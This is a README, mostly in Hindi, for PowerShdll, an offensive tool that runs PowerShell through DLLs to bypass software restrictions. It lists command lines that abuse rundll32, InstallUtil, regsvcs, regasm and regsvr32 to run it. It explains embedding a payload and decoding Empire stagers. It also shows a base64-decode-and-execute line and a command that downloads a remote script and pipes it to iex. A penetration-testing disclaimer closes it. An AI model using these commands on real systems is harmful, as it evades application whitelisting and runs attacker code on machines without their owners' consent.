
rundll32 के साथ PowerShell चलाएं। सॉफ्टवेयर प्रतिबंधों को बायपास करें।
केवल dlls के साथ PowerShell चलाएँ।
powershell.exe तक पहुँच की आवश्यकता नहीं है क्योंकि यह PowerShell ऑटोमेशन dlls का उपयोग करता है।
PowerShdll को इसके साथ चलाया जा सकता है: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe या एक स्वतंत्र निष्पादन योग्य के रूप में।
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
पेलोड को common.cs फ़ाइल के start मेथड में "payload" वेरिएबल को संशोधित करके एम्बेड किया जा सकता है। यदि कोई पेलोड एम्बेडेड है, तो अन्य सभी तर्कों को अनदेखा कर दिया जाएगा और PowerShdll चलाने पर पेलोड निष्पादित होगा।
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
नोट: Empire स्टेजर्स को [System.Text.Encoding]::Unicode का उपयोग करके डिकोड करने की आवश्यकता है।
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
कुछ त्रुटियाँ आउटपुट में दिखाई नहीं देतीं। यह भ्रामक हो सकता है क्योंकि Import-Module जैसे कमांड विफल होने पर कोई त्रुटि आउटपुट नहीं करते। सुनिश्चित करें कि आपने अपने कमांड सही टाइप किए हैं।
dll मोड में, इंटरैक्टिव मोड और कमांड आउटपुट पैरेंट प्रक्रिया के कंसोल को हाईजैक करने पर निर्भर करते हैं। यदि पैरेंट प्रक्रिया में कंसोल नहीं है, तो आउटपुट न दिखाने के लिए -n स्विच का उपयोग करें अन्यथा एप्लिकेशन क्रैश हो जाएगा।
Rundll32 द्वारा तर्कों को संभालने के तरीके के कारण, स्विच और तर्कों के बीच कई स्पेस वर्णों का उपयोग करने से समस्याएँ हो सकती हैं। स्क्रिप्ट के अंदर कई स्पेस ठीक हैं।
यह परियोजना सुरक्षा शोधकर्ताओं और पैनेट्रेशन टेस्टर्स के लिए है और इसे केवल सिस्टम स्वामियों की स्वीकृति के साथ ही उपयोग किया जाना चाहिए।